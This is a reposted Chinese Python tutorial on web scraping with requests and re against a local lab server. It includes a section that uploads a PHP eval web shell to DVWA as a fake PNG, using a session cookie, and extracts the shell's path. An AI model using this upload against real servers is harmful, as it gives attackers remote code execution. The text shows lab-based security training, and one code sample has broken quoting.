Python灰帽子编程————网页信息爬取

news2024/11/24 20:24:13

爬取图片,问题分解:

  • 获取网页内容;
  • 从网页内容中提取图片地址;
  • 通过图片地址,将图片下载到本地。

1. 相关模块

1.1 requests 模块

获取网页内容。

requests 模块:主要是用来模拟浏览器行为,发送HTTP 请求,并处理HTTP 响应的功能。

import requests     # 被认为,最贴近与人的操作的模块
import urllib
import urllib2
import urllib3		

requests 模块处理网页内容的基本逻辑:

  • 定义一个URL 地址;
  • 发送HTTP 请求;
  • 处理HTTP 响应。

1.1.1 模块中的请求方法

请求方法说明
requests.get()GET 方法,常规请求方法
requests.post()POST方法,带有请求正文的方法
requests.head()只返回响应头部,没有响应正文。
requests.options()测试服务器所支持的方法
requests.put()向服务器写入文件
requests.delete()请求删除服务器端文件

1.1.2 请求方法中的参数

参数名字参数含义
url请求URL 地址
headers自定义请求头部
params发送GET 参数
data发送POST 参数
timeout请求延时
files文件上传数据流

1.1.3 响应对象中属性

方法名解释
response.text响应正文(文本方式)
response.content响应正文(二进制)
response.status_code响应状态码
response.url发送请求的URL 地址
response.headers响应头部
response.request.headers请求头部
response.cookiescookie 相关信息

1.2 re 模块

从网页内容中提取图片地址。

正则表达式(RE),是一些由字符和特殊符号组成的字符串,它们能按某种模式匹配一系列有相似特征的字符串。

  • 从哪一个字符串中搜索什么内容;
  • 规则是什么(模式问题)。
>>> import re
>>> s = "I say food not Good"
>>> re.findall('ood',s)	#使用re模块的finsdall方法在s中查找符合ood的子串
['ood', 'ood']
>>> re.findall(r"[fG]ood", s)	#r表示正则匹配,匹配中括号中所有的字符
['food', 'Good']
>>> re.findall(r"[a-z]ood", s)
['food']
>>> re.findall(r"[A-Z]ood", s)
['Good']
>>> re.findall(r"[0-9a-zA-Z]ood", s)	#可以使用\w来代替此代码中[0-9a-zA-Z],因为\w表示任意单个字符数字下划线
['food', 'Good']
>>> re.findall(r"[^a-z]ood",s)	#取反,不在中括号的都取
['Good']
>>> re.findall('.ood',s)	#任意字符出现一次
['food', 'Good']
>>> re.findall(r'food|Good|not',s)
['food', 'not', 'Good']
>>> re.findall(r".o{1,2}.", s)
['food', 'not', 'Good']
>>> re.findall('o*',s)
['', '', '', '', '', '', '', 'oo', '', '', '', 'o', '', '', '', 'oo', '', '']
>>> 

>>> s = "How old are you? I'm 24!"
>>> re.findall(r"[0-9][0-9]", s)	
>>> s = "How old are you? I'm 24!"
>>> re.findall(r"[0-9]{1,2}", s)
['24']
>>> re.findall(r"\d{1,2}", s)
['24']
>>> re.findall(r"\w", s)
['H', 'o', 'w', 'o', 'l', 'd', 'a', 'r', 'e', 'y', 'o', 'u', 'I', 'm', '2', '4']
>>> 

>>> s = 'I like google not ggle goooogle and gogle'
>>> re.findall('o+',s)
['oo', 'o', 'oooo', 'o']
>>> re.findall('go+',s)
['goo', 'goooo', 'go']
>>> re.findall('go+gle',s)
['google', 'goooogle', 'gogle']
>>> re.findall('go?gle',s)
['ggle', 'gogle']
>>> re.findall('go{1,2}gle',s)
['google', 'gogle']
>>>

1.2.1 匹配单个字符

记号说明
.匹配任意单个字符(换行符除外). 表示真正的.
[…x-y…]匹配字符集合里的任意单个字符
[^…x-y…]匹配不在字符组里的任意单个字符
\d匹配任意单个数字,与[0-9] 同义
\w匹配任意单个数字、字母、下划线,与[0-9a-zA-Z_] 同义
\s匹配任意单个空白字符,与[\r\v\f\t\n] 同义

1.2.2 匹配一组字符

记号说明
字符串匹配字符串值
字符串1|字符串2匹配字符串1或字符串2
*左邻第一个字符出现0 次或无穷次
+左邻第一个字符最少出现1 次或无穷次
?左邻第一个字符出现0 次或1 次
{m,n}左邻第一个字符出现最少m 次最多n 次

1.2.3 其他元字符

记号说明
^匹配字符串的开始 集合取反
$匹配字符串的结尾
\b匹配单词的边界,单词包括\w 中的内容
()对字符串分组,只显示匹配到括号中内的字符
\数字匹配已保存的子组

1.2.4 核心函数

核心函数说明
re.findall()在字符串中查找正则表达式的所有(非覆盖)出现;返回一个匹配对象的列表。
re.match()尝试用正则表达式模式从字符串的开头匹配 如果匹配成功,则返回一个匹配对象 否则返回None
re.search()在字符串中查找正则表达式模式的第一次出现 如果匹配成,则返回一个匹配对象 否则返回None
re.group()使用match 或者search 匹配成功后,返回的匹配对象 可以通过group() 方法获取得匹配内容
re.finditer()和findall() 函数有相同的功能,但返回的不是列表而是迭代器 对于每个匹配,该迭代器返回一个匹配对象
re.split()根据正则表达式中的分隔符把字符分割为一个列表,并返回成功匹配的列表字符串也有类似的方法,但是正则表达式更加灵活
re.sub()把字符串中所有匹配正则表达式的地方换成新的字符串
>>> m = re.match('goo','I like google not ggle goooogle and gogle')
>>> type(m)
<class 'NoneType'>
>>> m = re.match('I','I like google not ggle goooogle and gogle')
>>> type(m)
<class 're.Match'>
>>> m.group()
'I'
>>> m = re.search('go{3,}','I like google not ggle goooogle and gogle')
>>> m.group()
'goooo'
>>> m = re.finditer('go*','I like google not ggle goooogle and gogle')
>>> list(m)
[<re.Match object; span=(7, 10), match='goo'>, <re.Match object; span=(10, 11), match='g'>, <re.Match object; span=(18, 19), match='g'>, <re.Match object; span=(19, 20), match='g'>, <re.Match object; span=(23, 28), match='goooo'>, <re.Match object; span=(28, 29), match='g'>, <re.Match object; span=(36, 38), match='go'>, <re.Match object; span=(38, 39), match='g'>]
>>> m = re.split('\.|-','hello-world.ajest')
>>> m
['hello', 'world', 'ajest']
>>> s = "hi x.Nice to meet you, x."
>>> s = re.sub('x','AJEST',s)
>>> s
'hi AJEST.Nice to meet you, AJEST.'
>>>

在Python的正则表达式中,贪婪匹配是指尽可能多地匹配输入字符串。有时候,贪婪匹配可能导致出现意想不到的结果。解决贪婪匹配的问题有几种方法:

  1. 使用非贪婪模式:在正则表达式中通过在量词后面加上问号(?)来实现非贪婪匹配。例如,把*改为*?+改为+?{n,m}改为{n,m}?等。这样,正则表达式就会尽量少地匹配。

  2. 使用具体限定符:如果你知道待匹配的文本中的某些特征,可以使用具体限定符来避免贪婪匹配。例如,使用\d+代替.来匹配数字,使用[a-z]+代替.来匹配小写字母等。

  3. 使用断言:断言用于指定匹配的位置,而不是匹配的内容。正向断言((?=pattern))用于匹配紧接着指定模式的位置,否定断言((?!pattern))用于匹配不紧接着指定模式的位置。通过使用断言,你可以更精确地指定匹配的内容,避免贪婪匹配。

  4. 使用边界限定符:在正则表达式中使用边界限定符来确保匹配发生在特定位置。例如,使用^来匹配字符串的开头,使用$来匹配字符串的结尾,使用\b来匹配单词的边界等。

通过使用这些方法,你可以解决Python正则表达式中的贪婪匹配问题,并获得预期的匹配结果。

2. 网页信息爬取

通过python 脚本爬取网页图片:

  • 获取整个页面所有源码;
  • 筛选出源码中图片地址;
  • 将图片下载到本地。

2.1 获取网页HTML 源代码

将方法封装成函数。

# 01 - 获取网页源代码.py

import requests

url = "http://192.168.16.177/python-Spider/index.html"

def get_html(url):
    res = requests.get(url = url)
    return res.content  #显示网页信息的二进制形式
html = get_html(url = url)
print (html.decode("utf8"))	#将二进制的信息进行解码为正常的信息

2.2 提取图片地址

# 02 - 提权图片地址.py

import requests
import re 

url = "http://192.168.16.177/python-Spider/index.html"

def get_image_path_list(html):
    image_path_list = re.findall(r"style/\w*\.jpg",html)  #在html中找到以style开头内容任意多个字母,数字,下划线以.jpg结尾的字符串;\w:人以字母数字下划线,*:匹配字符出现零次或无数次
    return image_path_list

def get_html(url):
    res = requests.get(url = url)
    return res.content

html = get_html(url = url)

image_path_list = get_image_path_list(html.decode())

for image_path in image_path_list:
    print(image_path)

2.3 下载图片

# 03 - 下载图片.py

import requests
import re 
import time

url = "http://192.168.16.177/python-Spider/index.html"

def download_image(image_path):
    img_url = url[0:url.rfind('/')+1]+ image_path
    res = requests.get(url = img_url)
    img_save_path = f"./img/{time.time()}.jpg"
    with open(img_save_path,"wb") as f:
        f.write(res.content)

def get_image_path_list(html):
    image_path_list = re.findall(r"style/\w*\.jpg",html)  #在html中找到以style开头内容任意多个字母,数字,下划线以.jpg结尾的字符串;\w:人以字母数字下划线,*:匹配字符出现零次或无数次
    return image_path_list

def get_html(url):
    res = requests.get(url = url)
    return res.content

html = get_html(url = url)
image_path_list = get_image_path_list(html.decode())

for image_path in image_path_list:
    print(image_path)
    download_image(image_path = image_path)

2.4 完整脚本

# 04 - 网页信息爬取.py

import requests
import re	#正则
import time

url = "http://192.168.16.177/python-Spider/index.html"

def get_html(url):
    res = requests.get(url = url)	#发送get请求,返回值赋给res
    return res.content	#返回个请求返回值的二进制信息

def get_img_path_list(html):
    img_path_list = re.findall(r"style/\w*\.jpg",html)	#re.findall()在字符串中查找正则表达式的所有(非覆盖)出现;返回一个匹配对象的列表。r"style/\w*\.jpg"中r表示证则表达式,style/\w*\.jpg表示以style/开头,\.jpg结尾,中间内容任意字符出现零次或无数次
    return img_path_list

def download_image(img_path):
    image_url = url[0:url.rfind("/")+1]+img_path	#拼接一个图片链接
    res = requests.get(url = image_url)	#向图片链接发送一个get请求,将图片信息的返回值赋值给res
    img_save_path = f"./img/{time.time()}.jpg"	#创建一个存储图片的链接
    with open(img_save_path,"wb") as f:	#使用 with 语句来打开一个文件,并创建一个文件对象 f,并且设置文件的打开方式为二进制写
        f.write(res.content)	#将图片信息的二进制内容写入文件

html = get_html(url= url)	#调用get_html函数获得网页的信息

img_path_list = get_img_path_list(html= html.decode())  #通过get_img_path_list函数获得图片路径,因为html返回的是二进制信息,所以将内容进行解码。获得的内容是一个列表

for img_path in img_path_list:	#遍历图片路径列表
    print(img_path)
    download_image(img_path= img_path)	#遍历图片列表的时候将每个图片的路径通过传参调用download_image函数进行存储

3. requests 模块基本用法

3.1 模拟浏览器

# 05 - 自定义浏览器指纹.py

import requests

url = "http://192.168.16.177/python-Spider/"

headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.31"}    #构造http头,User-Agent:Mozilla

req = requests.Session()    #保持会话状态,保持请求的一致性
res = requests.get(url = url,headers = headers)	#get请求的地址和头

# print(res.url)  #响应的url地址;向谁请求,他的url地址
# print(res.text) #响应的内容;向谁请求,他的内容
# print(res.headers)    #响应的头部;向谁请求,他的头部
print(res.request.headers)    #响应的请求的头部;我的头部

3.2 发送GET 参数

# 06 - 发送GET 参数.py

import requests

url = "http://192.168.16.177/python-Spider/"

headers = {
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.31"
    }    #构造http头,User-Agent:Mozilla字典

params= {
    "username": "xujie",
    "password" : "123456"
    }   #构造get请求参数字典,不管是GET请求还是POST请求都需要定义字典

req = requests.Session()    #保持会话状态,保持请求的一致性
res = requests.get(url = url,headers = headers,params=params)   #get请求传递请求的url,我的头部和传递的内容

# print(res.url)  #响应的url地址;向谁请求,他的url地址
# print(res.text) #响应的内容;向谁请求,他的内容
print(res.headers)    #响应的头部;向谁请求,他的头部
# print(res.request.headers)    #响应的请求的头部;我的头部

3.3 发送POST 参数

# 07 - 发送POST 参数.py

import requests

url = "http://192.168.16.177/python-Spider/"

headers = {
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.31"
}   #构造http头,User-Agent:Mozilla字典

data = {
    "username":"xujie",
    "password":"123456"
}   #POST传递的参数

req = requests.Session()    ##保持会话状态,保持请求的一致性
res = requests.post(url= url,headers= headers,data= data)    #post请求传递请求的url,我的头部和传递的内容

# print(res.url)  #响应的url地址;向谁请求,他的url地址
# print(res.text) #响应的内容;向谁请求,他的内容
# print(res.headers)    #响应的头部;向谁请求,他的头部
# print(res.request.headers)  #响应的请求的头部;我的头部
# print(res.request.url)  #响应的请求的头部;我的url
print(res.request.body) #响应的请求的头部;我的body

3.4 文件上传

向DVWA进行文件上传 ,

image-20230920205238050使用bp抓包查看数据包,

image-20230920205349356

image-20230920211319865

文件上传的时候分为三部分,所以使用python模拟的时候也需要将所有的内容都进行提交

使用python模拟数据包

关键三问:

  1. 当前请求数据包的原始报文中是什么请求方法
  2. 访问的那个页面
  3. 传递的哪些参数
import requests

req = requests.Session()

url = "http://192.168.16.177/dvwa_2.0.1/vulnerabilities/upload/"

headers = {
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36"
}

data = {
    "MAX_FILE_SIZE":100000,
    "Upload":"Upload"   #数据包中文件上传时,总共有三部分,下面已经将文件域的名字,文件的名字,文件的类型,文件的内容,都放到file这个字典中,这里将其他两个内容编写为字典
}

files = {
    "uploaded":("2.php","image/png",b"<?php @eval($_REQUEST[777]);phpinfo(); ?>")   #文件域的名字是键,因为文件是定好的是不可以修改的,那么就定义为元组的类型,文件内容前加小写的b表示是二进制的
}   #做文件上传的话有几个信息是需要掌握的,文件是通过表单上传的,表单上传需要文件域.文件域的名字,文件的名字,文件的类型,文件的内容,都需要放到file这个字典中

res = req.post(url= url,headers= headers,data= data,files= files)

print(res.text) 

使用python模拟数据包提交数据时会跳转到登录页面,是因为没有cookie,DVWA中提交文件的前提是进行登录,需要通过验证cookie查看是否在登录状态,如果没有cookie就会跳转到登录页面进行登录。

cookie放在headers中

提取文件路径

import requests
import bs4

req = requests.Session()

url = "http://192.168.16.177/dvwa_2.0.1/vulnerabilities/upload/"

headers = {
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36",
    "Cookie":"security=low; PHPSESSID=on6vot2agme34ppnbj9h1drs65"
}   #User-Agent和Cookie信息

data = {
    "MAX_FILE_SIZE":100000,
    "Upload":"Upload"   #数据包中文件上传时,总共有三部分,下面已经将文件域的名字,文件的名字,文件的类型,文件的内容,都放到file这个字典中,这里将其他两个内容编写为字典
}

files = {
    "uploaded":("2.php","image/png",b"<?php @eval($_REQUEST[777]);phpinfo(); ?>")   #文件域的名字是键,因为文件是定好的是不可以修改的,那么就定义为元组的类型,文件内容前加小写的b表示是二进制的
}   #做文件上传的话有几个信息是需要掌握的,文件是通过表单上传的,表单上传需要文件域.文件域的名字,文件的名字,文件的类型,文件的内容,都需要放到file这个字典中

res = req.post(url= url,headers= headers,data= data,files= files)

html = res.text
html = bs4.BeautifulSoup(html,"lxml")   #使用 BeautifulSoup 类将 HTML 内容解析为具有结构化表示的 BeautifulSoup 对象,以便更轻松地对 HTML 进行操作和提取数据。

pre = html.find_all("pre")  #从html中找到所有pre标签将内容复制给pre
pre = pre[0].text #将pre转换为文本格式,去掉标签
shell_path = pre[0:pre.find(" ")]   #将pre文本下标0到第一个空格复制给shell_path

print(f"[+] shellpath: {url}{shell_path}")

访问给出的链接,结果有问题是因为构造的file字典内容顺序应该是:文件名,文件内容,文件类型

import requests
import bs4

req = requests.Session()

url = "http://192.168.16.177/dvwa_2.0.1/vulnerabilities/upload/"

headers = {
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36",
    "Cookie":"security=low; PHPSESSID=on6vot2agme34ppnbj9h1drs65"
}   #User-Agent和Cookie信息

data = {
    "MAX_FILE_SIZE":100000,
    "Upload":"Upload"   #数据包中文件上传时,总共有三部分,下面已经将文件域的名字,文件的名字,文件的类型,文件的内容,都放到file这个字典中,这里将其他两个内容编写为字典
}

files = {
    "uploaded":("2.php",b"<?php @eval($_REQUEST[777]);phpinfo(); ?>,"image/png"")   #文件域的名字是键,因为文件是定好的是不可以修改的,那么就定义为元组的类型,文件内容前加小写的b表示是二进制的
}   #做文件上传的话有几个信息是需要掌握的,文件是通过表单上传的,表单上传需要文件域.文件域的名字,文件的名字,文件的类型,文件的内容,都需要放到file这个字典中

res = req.post(url= url,headers= headers,data= data,files= files)

html = res.text
html = bs4.BeautifulSoup(html,"lxml")   #使用 BeautifulSoup 类将 HTML 内容解析为具有结构化表示的 BeautifulSoup 对象,以便更轻松地对 HTML 进行操作和提取数据。

pre = html.find_all("pre")  #从html中找到所有pre标签将内容复制给pre
pre = pre[0].text #将pre转换为文本格式,去掉标签
shell_path = pre[0:pre.find(" ")]   #将pre文本下标0到第一个空格复制给shell_path

print(f"[+] shellpath: {url}{shell_path}")

注意:

如果出现错误 bs4.FeatureNotFound: Couldn't find a tree builder with the features you requested: lxml 意味着在您的环境中没有找到所需的解析器库 lxml

要解决这个问题,您可以尝试以下方法之一:

  1. 安装 lxml 库:首先,确保您已经安装了 lxml 库。您可以使用以下命令在终端或命令提示符中安装它:

    pip install lxml
    
  2. 使用其他解析器:如果您无法安装 lxml 库,您可以考虑使用其他可用的解析器。BeautifulSoup 支持多种解析器,如 Python 的内置解析器 html.parserhtml5lib 等。您可以在代码中将解析器更改为其他可用的解析器之一,例如:

    html = bs4.BeautifulSoup(html, "html.parser")
    

    或者

    html = bs4.BeautifulSoup(html, "html5lib")
    
  3. 检查 lxml 库版本:如果您已经安装了 lxml 库,但仍然遇到问题,可能是因为 lxml 版本与 BeautifulSoup 不兼容。尝试升级 lxml 到最新版本,或者降低 BeautifulSoup 的版本,以确保它们之间的兼容性。

image-20230920220954383

image-20230920220941458

3.5 服务器超时

创建一个php文件sleep.php

<?php
    sleep(10);
	echo "My name is xujie";
?>
import requests

url = "http://192.168.16.177/php/sleep.php"

headers = {
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36",
    "Cookie":"security=low; PHPSESSID=on6vot2agme34ppnbj9h1drs65"
}

def get_timeout(url):
    try:
        req = requests.Session()
        res = req.get(url= url,headers= headers,timeout= 5) #等待超过5秒就不等了
    except:
        return "timeout"
    else:
        return res.text

print(get_timeout(url))
echo "My name is xujie";

?>




```python
import requests

url = "http://192.168.16.177/php/sleep.php"

headers = {
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36",
    "Cookie":"security=low; PHPSESSID=on6vot2agme34ppnbj9h1drs65"
}

def get_timeout(url):
    try:
        req = requests.Session()
        res = req.get(url= url,headers= headers,timeout= 5) #等待超过5秒就不等了
    except:
        return "timeout"
    else:
        return res.text

print(get_timeout(url))

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1029780.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

专业软件测评中心:关于软件性能测试的实用建议

软件性能测试是通过自动化的测试工具模拟多种正常、峰值以及异常负载条件来对系统的各项性能指标进行测试。性能测试在软件的质量保证中起着重要的作用&#xff0c;它包括的测试内容丰富多样。 一、软件性能测试的实用建议   1、制定清晰的测试目标&#xff1a;明确测试目标…

数据结构与算法——14.栈

目录 1.概述 2.栈的接口设计 3.用链表来实现栈 4.用数组来实现栈 5.用两个栈来实现一个队列 6.用一个队列来实现一个栈 7.总结 1.概述 计算机科学中&#xff0c;stack是一种线性的数据结构&#xff0c;只能在其一端添加数据和移除数据。习惯来说&#xff0c;这一端称之…

主打低功耗物联网国产替代,纵行科技ZT1826芯片以速率和灵敏度出圈

在低功耗物联网领域&#xff0c;国产替代的趋势越演越烈。 9月20日&#xff0c;纵行科技在“IOTE 2023深圳物联网通信技术与应用高峰论坛”发表了“自主原创Advanced M-FSK调制技术助力国产替代和泛在物联”的演讲&#xff0c;并推出了ZT1826芯片&#xff0c;以“更低功耗、更…

【lesson8】操作系统的理解和类比

文章目录 操作系统是什么&#xff1f;为什么要有操作系统&#xff1f;怎么做&#xff1f;学校的例子&#xff08;理解管理&#xff09;银行的例子&#xff08;类比操作系统&#xff09; 操作系统是什么&#xff1f; 操作系统是一款软件&#xff0c;是为了进行软硬件资源管理的…

CentOS下Redis6.x安装教程

Redis安装教程 文章目录 Redis安装教程一、安装包下载地址二、安装2.1上传服务器解压2.2安装编译所需依赖2.3编译安装 三、启动与停止3.1守护进程启动3.2开机自启动 一、安装包下载地址 https://redis.io/download/ 目前最新的版本是7.0以上的版本&#xff0c;本次使用redis6…

python3+selenium自动化测试介绍详解!

自动化测试是什么&#xff1f; 自动化测试简单来说就是借助工具的方式来辅助手动测试的行为就可以看做是自动化测试。 自动化测试工具有哪些&#xff1f; 现在常用的自动化测试工具包括&#xff1a; QTP&#xff1a;主要用于回归测试和测试同一软件的新版本Robot Framework…

vue2 provide/inject watch 监控inject中值变化

在Vue 2.x中&#xff0c;使用inject注入的值默认情况下是不能被watch直接监控到的&#xff0c;因为inject提供的值不是响应式的。这是Vue 2.x的设计&#xff0c;与Vue 3.x中的provide和inject不同&#xff0c;Vue 3.x中的inject提供的值是响应式的&#xff0c;可以直接被watch监…

【Java 基础篇】Java同步代码块解决数据安全

多线程编程是现代应用程序开发中的常见需求&#xff0c;它可以提高程序的性能和响应能力。然而&#xff0c;多线程编程也带来了一个严重的问题&#xff1a;数据安全。在多线程环境下&#xff0c;多个线程同时访问和修改共享的数据可能导致数据不一致或损坏。为了解决这个问题&a…

心理咨询预约微信小程序开发制作步骤

随着互联网的普及和人们对心理健康的重视&#xff0c;越来越多的心理咨询需求在日常生活中涌现。为了满足这一需求&#xff0c;开发一款心理咨询预约微信小程序势在必行。本文将介绍使用乔拓云网这个第三方制作平台来制作这款小程序的具体步骤。 1. 找一个合适的第三方制作平台…

竞赛选题 基于深度学习的动物识别 - 卷积神经网络 机器视觉 图像识别

文章目录 0 前言1 背景2 算法原理2.1 动物识别方法概况2.2 常用的网络模型2.2.1 B-CNN2.2.2 SSD 3 SSD动物目标检测流程4 实现效果5 部分相关代码5.1 数据预处理5.2 构建卷积神经网络5.3 tensorflow计算图可视化5.4 网络模型训练5.5 对猫狗图像进行2分类 6 最后 0 前言 &#…

ChatGPT追祖寻宗:GPT-3技术报告要点解读

论文地址&#xff1a;https://arxiv.org/abs/2005.14165 往期相关文章&#xff1a; ChatGPT追祖寻宗&#xff1a;GPT-1论文要点解读_五点钟科技的博客-CSDN博客ChatGPT追祖寻宗&#xff1a;GPT-2论文要点解读_五点钟科技的博客-CSDN博客 本文的标题之所以取名技术报告而不是论文…

【差旅游记】初见乌海湖

哈喽&#xff0c;大家好&#xff0c;我是雷工。 最近在乌海出差&#xff0c;有幸见到了传说中在沙漠中看海的“黄河明珠”——乌海湖。 前段时间一直有点忙&#xff0c;现在有点时间&#xff0c;趁还没忘光&#xff0c;简单整理记录下。 那是在上个月&#xff0c;2023年8月8号…

K8S:Pod容器中的存储方式及PV、PVC

文章目录 Pod容器中的存储方式一&#xff0e;emptyDir存储卷1.emptyDir存储卷概念2.emptyDir存储卷示例 二.hostPath存储卷1.hostPath存储卷概念2.hostPath存储卷示例 三.nfs共享存储卷1.nfs共享存储卷示例 四.PV和PVC1.PV、PVC概念2.PVC 的使用逻辑及数据流向3.storageclass插…

Conditional DETR(ICCV 21)

Conditional DETR&#xff08;ICCV 21&#xff09; Conditional DETR for Fast Training Convergence 加速detr收敛&#xff08;50 epoch收敛&#xff09; DETR收敛慢的原因 DETR训练收敛速度慢&#xff0c;需要500 epochs DETR的Cross Attention高度依赖content embedding…

Go编程规范

文章目录 注释转义符定义变量方法一&#xff1a;指定变量类型&#xff0c;声明后若不赋值&#xff0c;使用默认值方法二&#xff1a;根据值自行判定变量类型(类型推导)方法三&#xff1a;省略var, 注意:左侧的变量不应该是已经声明过的&#xff0c;否则会导致编译错误[推荐]全局…

通讯网关软件001——利用CommGate X2Access-U实现OPC UA数据转储Access

本文介绍利用CommGate X2ACCESS-U实现从OPC UA Server读取数据并同步转储至ACCESS数据库。CommGate X2ACCESS-U是宁波科安网信开发的网关软件&#xff0c;软件可以登录到网信智汇(http://wangxinzhihui.com)下载。 【案例】如下图所示&#xff0c;实现从OPC UA Server实时读取…

经典指标策略回测一览

编辑 经典指标策略回测一览 关键词 A股市场&#xff08;沪深京三市&#xff09; 5000股票20年内日线走势回测&#xff0c;区分除权&#xff0c;前复权&#xff0c;后复权三种模式&#xff1b;由于数据量较大&#xff0c;采用两种方式共享数据&#xff0c;一是 天启网站的数据…

Minor GC、Young GC、Full GC、Old GC、Major GC、Mixed GC 一文搞懂

简介 大家经常会看到各种各样的 GC 名称&#xff0c;比如&#xff1a;Minor GC、Young GC、Full GC、Old GC、Major GC、Mixed GC。 刚开始看到这么多 GC 名词后&#xff0c;真的是心累 哎&#xff0c;没办法&#xff0c;一声国粹之后也只能慢慢的把它们理理顺。 GC分类 我…

(vue2)面经基础版-案例效果分析

配路由 先配一级&#xff0c;一级里面配二级。一级路由&#xff1a;首页&#xff08;二级&#xff1a;嵌套4个小页面&#xff09;、详情页 高亮a->router-link&#xff0c;高亮效果对自带高亮类名router-link(-exact)-active设置 注&#xff1a;通过children配置项&#…

【springboot源码】深度解析@Value赋值时机及底层原理

1.Value使用 Value主要是让我们程序动态的将外部值注入到bean中的&#xff0c;使用方式主要如下两种&#xff1a; 1.1Value("${}")&#xff1a;可以获取对应属性文件中定义的属性值。 1.2Value("#{}")&#xff1a;表示 SpEl 表达式通常用来获取 bean 的…